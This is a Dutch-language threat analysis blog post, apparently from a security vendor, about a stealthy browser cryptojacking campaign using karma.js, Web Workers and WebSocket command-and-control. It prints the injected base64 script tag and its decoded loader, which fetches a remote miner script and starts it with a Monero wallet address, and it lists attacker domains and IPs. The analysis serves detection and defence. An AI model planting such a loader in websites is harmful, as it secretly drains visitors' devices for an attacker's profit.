Kort samengevat: onopvallende WebAssembly worker-miner via WebSocket-C2
- De sector begroef cryptojacking na de sluiting van Coinhive in 2019. Die overlijdensadvertentie leverde ransomware-koppen op. Ondertussen bouwden dezelfde groepen de miner opnieuw op met CPU-throttling, verstopping in Web Workers en command-and-control via WebSockets.
- cside's dashboards toonden een daling totdat karma[.]js vanaf yobox[.]store zich over 3.500+ geïnfecteerde websites verspreidde, verbinding maakte met wss://lokilokitwo[.]de:10006 en het domein trustisimportant[.]fun ook hergebruikte voor Magecart. Onze detectie-engine markeerde het bestand als kwaadaardig ondanks het ontbreken van duidelijke CPU-pieken in sandboxtests.
- Als jouw verdediging ervan uitgaat dat cryptojacking voorbij is, laat die aanname dan vandaag varen. Voeg runtime-scriptinspectie toe die let op het spawnen van WebWorkers en WebSocket-C2-patronen, of blijf de elektriciteitsrekening betalen voor de Monero-wallet van een vreemde.
De opkomst en ondergang (en wederopstanding) van in-browser mining

Het was 2017 toen Coinhive zijn intrede deed en een Monero-miner rechtstreeks in websites inbedde. Gebruikers mijnden onbewust cryptocurrency terwijl ze browsden, waardoor hun apparaten stille winstmachines werden voor site-eigenaren.
Even leek het een win-winsituatie: websites verdienden inkomsten zonder advertenties, en gebruikers ontsnapten aan opdringerige pop-ups. Maar toen de hashrate van Coinhive opliep tot 12% van het totale netwerkvermogen van Monero, zorgden vertraagde apparaten en leeglopende batterijen voor publieke verontwaardiging.
In 2019 blokkeerden browsers als Chrome en Firefox browser-cryptojacking, en Coinhive sloot zijn deuren.
Cryptojacking leek dood te zijn.
Maar in cybersecurity is de dood zelden definitief…
Een mysterieuze neergang (en een storing in de matrix)
Bij cside volgden we cryptojacking-campagnes al jaren. Eind 2024 lieten onze dashboards een sterke daling in activiteit zien. Mining-payloads werden effectiever geblokkeerd, en aanvallers leken te zijn overgestapt op andere terreinen zoals ransomware of het stelen van inloggegevens.
Toen, op een doodgewone dinsdag, markeerde onze crawler iets vreemds: een JavaScript-bestand van derden, geladen vanaf https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.
De URL zelf was al een rode vlag, een willekeurige parameter, een zinloze nosaj=faster.mo-query. Maar wat de alarmbellen echt deed rinkelen, was het gedrag van het bestand:
![cside-dashboard dat het bestand karma[.]js van yobox[.]store als kwaadaardig markeert zonder zichtbare CPU-pieken.](/content/images/2025/08/CryptoJacking-is-dead--long-live-CryptoJacking_2.png)
- Geen netwerkverzoeken (op het eerste gezicht).
- Geen duidelijke CPU-pieken in sandboxtests.
- Toch markeerde onze AI het als kwaadaardig.
Dit was niet het luide, resource-slurpende cryptojacking van 2018. Dit was... stil.
Injectie op de website:
<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>
Base64 decodeert naar:
(function(d, s, id){
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)){ return; }
js = d.createElement(s); js.id = id;
js.onload = function(){
EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
};
js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));
Trustisimportant[.]fun stuurt de gebruiker door naar yobox[.]store, van waar de kwaadaardige JS wordt gedownload.
De geest debuggen: een JS 101-tutorial
We haalden het script in een gecontroleerde omgeving om het te ontleden. Zo pakten we het aan:
Stap 1: Bouw een veilige debugging-sandbox
We wikkelden de JS in een eenvoudige HTML-pagina met een Content Security Policy (CSP) om te kunnen debuggen zonder browserblokkades te activeren:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
<title>Debugging Karma</title>
</head>
<body>
<script src="karma.js"></script> <!-- Het kwaadaardige bestand -->
</body>
</html>
De unsafe-eval-richtlijn was cruciaal, omdat het script eval-achtige obfuscatie gebruikte om zijn logica te verbergen.
Stap 2: Voeg debugging-traps in
We voegden debugger;-statements toe op sleutelmomenten om de uitvoering in Chrome DevTools te pauzeren. Bijvoorbeeld:
function _0x6BE7() { // Een WebSocket-setupfunctie
debugger; // <-- Uitvoering pauzeert hier
if (ws != null) { ws.close(); }
// ... rest van de code
}
Stap 3: Ontcijfer de obfuscatie
Het script was een doolhof van hernoemde variabelen (bijv. _0x6AC1, _0x6B23) en gecodeerde strings. Via het tabblad Sources in DevTools hebben we:
- 1.Breekpunten ingesteld om stap voor stap door de uitvoering te lopen.
- 2.Variabelen gevolgd om hun werkelijke functie te achterhalen (zo controleerde _0x6B85 of het apparaat mobiel was).
- 3.Netwerkactiviteit getraceerd via het tabblad Network, waaruit WebSocket-verbindingen naar wss://lokilokitwo[.]de:10006 bleken.
De belangrijkste ontdekking: een stille miner
Het script mijnde niet rechtstreeks cryptocurrency. In plaats daarvan:
- Controleerde het op WebAssembly-ondersteuning (om het vermogen van het apparaat in te schatten).
- Maakte het achtergrond-Web Workers aan (de worcy-array) om mining-taken uit te voeren zonder de hoofdthread te blokkeren.
- Gebruikte het WebSockets om opdrachten van de C2-server te ontvangen en de mining-intensiteit aan te passen op basis van de mogelijkheden van het apparaat.
Dit was een stealth-miner, ontworpen om detectie te vermijden door zowel onder de radar van gebruikers als van beveiligingstools te blijven.
Het grotere plaatje: 3.500+ geïnfecteerde sites
Verder onderzoek bracht een omvangrijke campagne aan het licht:
- 3.500+ websites laadden de kwaadaardige karma[.]js.
- Hergebruikte infrastructuur: het domein trustisimportant[.]fun was gekoppeld aan zowel cryptojacking- als Magecart-campagnes (creditcardskimming). Aanvallers diversifieerden hun payloads.
- Belangrijke IP's: 89.58.14.251 en 104.21.80.1 fungeerden als command-and-control (C2)-servers.
Het motto van de campagne? "Blijf laag, mijn langzaam." Door het CPU-gebruik te beperken en verkeer te verbergen in WebSocket-streams, vermeed de campagne de typische kenmerken van traditionele cryptojacking.
CryptoJacking-aanvallen 101: wat is cryptojacking en hoe werkt het vandaag de dag?
Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval:
- Kwaadaardige JS-bestanden, zoals karma[.]js, worden in websites geïnjecteerd.
- Het script controleert op WebAssembly-ondersteuning, apparaattype (mobiel versus desktop) en browserfuncties om het minen te optimaliseren.
- Web Workers worden aangemaakt om mining-taken op de achtergrond uit te voeren, zodat prestatiewaarschuwingen worden vermeden.
- WebSockets of HTTPS-verzoeken halen mining-taken op en sturen resultaten naar C2-servers.
Het doel is om over langere tijd voortdurend resources af te tappen, als een digitale vampier, niet om apparaten in één keer leeg te trekken.
Conclusie: het kat-en-muisspel gaat door
Cryptojacking is niet dood, het is gewoon slimmer geworden. Aanvallers geven nu voorrang aan onopvallendheid boven brute-krachtdiefstal van resources, en gebruiken obfuscatie, WebSockets en hergebruik van infrastructuur om verborgen te blijven.
Client-side aanvallen worden steeds moeilijker te vangen met statische scans. Runtime-scriptinspectie is wat ze wél opspoort.









